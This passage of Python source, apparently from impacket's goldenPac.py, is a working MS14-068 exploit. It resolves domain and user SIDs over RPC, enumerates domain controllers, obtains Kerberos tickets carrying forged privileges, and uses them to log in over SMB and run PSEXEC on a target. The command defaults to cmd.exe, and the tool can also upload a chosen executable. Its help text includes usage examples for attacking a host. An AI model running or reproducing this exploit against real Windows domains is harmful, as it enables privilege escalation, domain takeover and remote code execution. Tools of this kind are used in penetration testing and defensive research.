r'ncacn_np:%s[\pipe\lsarpc]' % forestName 816 817 rpctransport = transport.DCERPCTransportFactory(stringBinding) 818 819 if hasattr(rpctransport, 'set_credentials'): 820 rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) 821 822 dce = rpctransport.get_dce_rpc() 823 dce.connect() 824 dce.bind(MSRPC_UUID_LSAT) 825 826 resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES) 827 policyHandle = resp['PolicyHandle'] 828 829 resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) 830 dce.disconnect() 831 832 forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() 833 logging.info("Forest SID: %s"% forestSid) 834 835 return forestSid 836 837 def getDomainControllers(self): 838 logging.debug('Calling DRSDomainControllerInfo()') 839 840 stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp') 841 842 rpctransport = transport.DCERPCTransportFactory(stringBinding) 843 844 if hasattr(rpctransport, 'set_credentials'): 845 rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) 846 847 dce = rpctransport.get_dce_rpc() 848 dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) 849 dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 850 dce.connect() 851 dce.bind(MSRPC_UUID_DRSUAPI) 852 853 request = DRSBind() 854 request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID 855 drs = DRS_EXTENSIONS_INT() 856 drs['cb'] = len(drs) #- 4 857 drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION 858 drs['SiteObjGuid'] = NULLGUID 859 drs['Pid'] = 0 860 drs['dwReplEpoch'] = 0 861 drs['dwFlagsExt'] = 0 862 drs['ConfigObjGUID'] = NULLGUID 863 drs['dwExtCaps'] = 127 864 request['pextClient']['cb'] = len(drs.getData()) 865 request['pextClient']['rgb'] = list(drs.getData()) 866 resp = dce.request(request) 867 868 dcs = hDRSDomainControllerInfo(dce, resp['phDrs'], self.__domain, 1) 869 870 dce.disconnect() 871 domainControllers = list() 872 for dc in dcs['pmsgOut']['V1']['rItems']: 873 logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1]) 874 domainControllers.append(dc['DnsHostName'][:-1]) 875 876 return domainControllers 877 878 def getUserSID(self): 879 stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost 880 881 rpctransport = transport.DCERPCTransportFactory(stringBinding) 882 883 if hasattr(rpctransport, 'set_credentials'): 884 rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) 885 886 dce = rpctransport.get_dce_rpc() 887 dce.connect() 888 dce.bind(samr.MSRPC_UUID_SAMR) 889 resp = samr.hSamrConnect(dce) 890 serverHandle = resp['ServerHandle'] 891 resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain) 892 domainId = resp['DomainId'] 893 resp = samr.hSamrOpenDomain(dce, serverHandle, domainId = domainId) 894 domainHandle = resp['DomainHandle'] 895 resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username,)) 896 # Let's pick the relative ID 897 rid = resp['RelativeIds']['Element'][0]['Data'] 898 logging.info("User SID: %s-%s"% (domainId.formatCanonical(), rid)) 899 return domainId, rid 900 901 def exploit(self): 902 if self.__kdcHost is None: 903 getDCs = True 904 self.__kdcHost = self.__domain 905 else: 906 getDCs = False 907 908 self.__domainSid, self.__rid = self.getUserSID() 909 try: 910 self.__forestSid = self.getForestSid() 911 except Exception as e: 912 # For some reason we couldn't get the forest data. No problem, we can still continue 913 # Only drawback is we won't get forest admin if successful 914 logging.error('Couldn\'t get forest info (%s), continuing' % str(e)) 915 self.__forestSid = None 916 917 if getDCs is False: 918 # User specified a DC already, no need to get the list 919 self.__domainControllers.append(self.__kdcHost) 920 else: 921 self.__domainControllers = self.getDomainControllers() 922 923 userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 924 for dc in self.__domainControllers: 925 logging.info('Attacking domain controller %s' % dc) 926 self.__kdcHost = dc 927 exception = None 928 while True: 929 try: 930 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, 931 self.__lmhash, self.__nthash, None, 932 self.__kdcHost, requestPAC=False) 933 except KerberosError as e: 934 if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: 935 # We might face this if the target does not support AES (most probably 936 # Windows XP). So, if that's the case we'll force using RC4 by converting 937 # the password to lm/nt hashes and hope for the best. If that's already 938 # done, byebye. 939 if self.__lmhash is '' and self.__nthash is '': 940 from impacket.ntlm import compute_lmhash, compute_nthash 941 self.__lmhash = compute_lmhash(self.__password) 942 self.__nthash = compute_nthash(self.__password) 943 continue 944 else: 945 exception = str(e) 946 break 947 else: 948 exception = str(e) 949 break 950 951 # So, we have the TGT, now extract the new session key and finish 952 asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0] 953 954 # If the cypher in use != RC4 there's gotta be a salt for us to use 955 salt = '' 956 if asRep['padata']: 957 for pa in asRep['padata']: 958 if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value: 959 etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0] 960 salt = etype2['salt'].prettyPrint() 961 962 cipherText = asRep['enc-part']['cipher'] 963 964 # Key Usage 3 965 # AS-REP encrypted part (includes TGS session key or 966 # application session key), encrypted with the client key 967 # (Section 5.4.2) 968 if self.__nthash != '': 969 key = Key(cipher.enctype,self.__nthash) 970 else: 971 key = cipher.string_to_key(self.__password, salt, None) 972 973 plainText = cipher.decrypt(key, 3, cipherText) 974 encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] 975 authTime = encASRepPart['authtime'] 976 977 serverName = Principal('krbtgt/%s' % self.__domain.upper(), 978 type=constants.PrincipalNameType.NT_PRINCIPAL.value) 979 tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt, 980 cipher, sessionKey, authTime) 981 982 # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs 983 serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value) 984 try: 985 tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain, 986 self.__kdcHost, tgs, cipher, 987 sessionKey) 988 except KerberosError as e: 989 if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: 990 # We might face this if the target does not support AES (most probably 991 # Windows XP). So, if that's the case we'll force using RC4 by converting 992 # the password to lm/nt hashes and hope for the best. If that's already 993 # done, byebye. 994 if self.__lmhash is '' and self.__nthash is '': 995 from impacket.ntlm import compute_lmhash, compute_nthash 996 self.__lmhash = compute_lmhash(self.__password) 997 self.__nthash = compute_nthash(self.__password) 998 else: 999 exception = str(e) 1000 break 1001 else: 1002 exception = str(e) 1003 break 1004 else: 1005 # Everything went well, let's save the ticket if asked and leave 1006 if self.__writeTGT is not None: 1007 from impacket.krb5.ccache import CCache 1008 ccache = CCache() 1009 ccache.fromTGS(tgs, oldSessionKey, sessionKey) 1010 ccache.saveFile(self.__writeTGT) 1011 break 1012 if exception is None: 1013 # Success! 1014 logging.info('%s found vulnerable!' % dc) 1015 break 1016 else: 1017 logging.info('%s seems not vulnerable (%s)' % (dc, exception)) 1018 1019 if exception is None: 1020 TGS = {} 1021 TGS['KDC_REP'] = tgsCIFS 1022 TGS['cipher'] = cipher 1023 TGS['oldSessionKey'] = oldSessionKeyCIFS 1024 TGS['sessionKey'] = sessionKeyCIFS 1025 1026 from impacket.smbconnection import SMBConnection 1027 if self.__targetIp is None: 1028 s = SMBConnection('*SMBSERVER', self.__target) 1029 else: 1030 s = SMBConnection('*SMBSERVER', self.__targetIp) 1031 s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS, 1032 useCache=False) 1033 1034 if self.__command != 'None': 1035 executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile) 1036 executer.run(self.__target) 1037 1038 if __name__ == '__main__': 1039 # Init the example's logger theme 1040 logger.init() 1041 import argparse 1042 import sys 1043 try: 1044 import pyasn1 1045 from pyasn1.type.univ import noValue 1046 except ImportError: 1047 logging.critical('This module needs pyasn1 installed') 1048 logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1') 1049 sys.exit(1) 1050 import datetime 1051 from calendar import timegm 1052 from time import strptime 1053 from impacket import version 1054 from impacket.dcerpc.v5 import samr 1055 from impacket.dcerpc.v5 import transport 1056 from impacket.krb5.types import Principal, Ticket, KerberosTime 1057 from impacket.krb5 import constants 1058 from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT, getKerberosTGS, KerberosError 1059 from impacket.krb5.asn1 import AS_REP, TGS_REQ, AP_REQ, TGS_REP, Authenticator, EncASRepPart, AuthorizationData, \ 1060 AD_IF_RELEVANT, seq_set, seq_set_iter, KERB_PA_PAC_REQUEST, \ 1061 EncTGSRepPart, ETYPE_INFO2_ENTRY 1062 from impacket.krb5.crypto import Key 1063 from impacket.dcerpc.v5.ndr import NDRULONG 1064 from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ 1065 SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD 1066 from pyasn1.codec.der import decoder, encoder 1067 from Cryptodome.Hash import MD5 1068 1069 print(version.BANNER) 1070 1071 parser = argparse.ArgumentParser(add_help=True, 1072 description="MS14-068 Exploit. It establishes a SMBConnection and PSEXEcs the " 1073 "target or saves the TGT for later use.") 1074 1075 parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName>') 1076 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 1077 parser.add_argument('command', nargs='*', default=' ', 1078 help='command (or arguments if -c is used) to execute at the target (w/o path). Defaults to ' 1079 'cmd.exe. \'None\' will not execute PSEXEC (handy if you just want to save the ticket)') 1080 parser.add_argument('-c', action='store', metavar="pathname", 1081 help='uploads the filename for later execution, arguments are passed in the command option') 1082 parser.add_argument('-w', action='store', metavar="pathname", 1083 help='writes the golden ticket in CCache format into the <pathname> file') 1084 parser.add_argument('-dc-ip', action='store', metavar="ip address", 1085 help='IP Address of the domain controller (needed to get the user''s SID). If omitted it will use ' 1086 'the domain part (FQDN) specified in the target parameter') 1087 parser.add_argument('-target-ip', action='store', metavar="ip address", 1088 help='IP Address of the target host you want to attack. If omitted it will use the targetName ' 1089 'parameter') 1090 1091 group = parser.add_argument_group('authentication') 1092 1093 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 1094 if len(sys.argv)==1: 1095 parser.print_help() 1096 print("\nExamples: ") 1097 print("\tpython goldenPac domain.net/normaluser@domain-host\n") 1098 print("\tthe password will be asked, or\n") 1099 print("\tpython goldenPac.py domain.net/normaluser:mypwd@domain-host\n") 1100 print("\tif domain.net and/or domain-machine do not resolve, add them") 1101 print("\tto the hosts file or explicitly specify the domain IP (e.g. 1.1.1.1) and target IP:\n") 1102 print("\tpython goldenPac.py -dc-ip 1.1.1.1 -target-ip 2.2.2.2 domain.net/normaluser:mypwd@domain-host\n") 1103 print("\tThis will upload the xxx.exe file and execute it as: xxx.exe param1 param2 paramn") 1104 print("\tpython goldenPac.py -c xxx.exe domain.net/normaluser:mypwd@domain-host param1 param2 paramn\n") 1105 sys.exit(1) 1106 1107 options = parser.parse_args() 1108 1109 import re 1110 1111 domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 1112 options.target).groups('') 1113 1114 #In case the password contains '@' 1115 if '@' in address: 1116 password = password + '@' + address.rpartition('@')[0] 1117 address = address.rpartition('@')[2] 1118 1119 if domain is '': 1120 logging.critical('Domain should be specified!') 1121 sys.exit(1) 1122 1123 if options.debug is True: 1124 logging.getLogger().setLevel(logging.DEBUG) 1125 else: 1126 logging.getLogger().setLevel(logging.INFO) 1127 1128 if password == '' and username != '' and options.hashes is None: 1129 from getpass import getpass 1130 password = getpass("Password:") 1131 1132 commands = ' '.join(options.command) 1133 if commands == ' ': 1134 commands = 'cmd.exe' 1135 1136 dumper = MS14_068(address, options.target_ip, username, password, domain, options.hashes, commands, options.c, 1137 options.w, options.dc_ip) 1138 1139 try: 1140 dumper.exploit() 1141 except Exception as e: 1142 if logging.getLogger().level == logging.DEBUG: 1143 import traceback 1144 traceback.print_exc() 1145 logging.critical(str(e))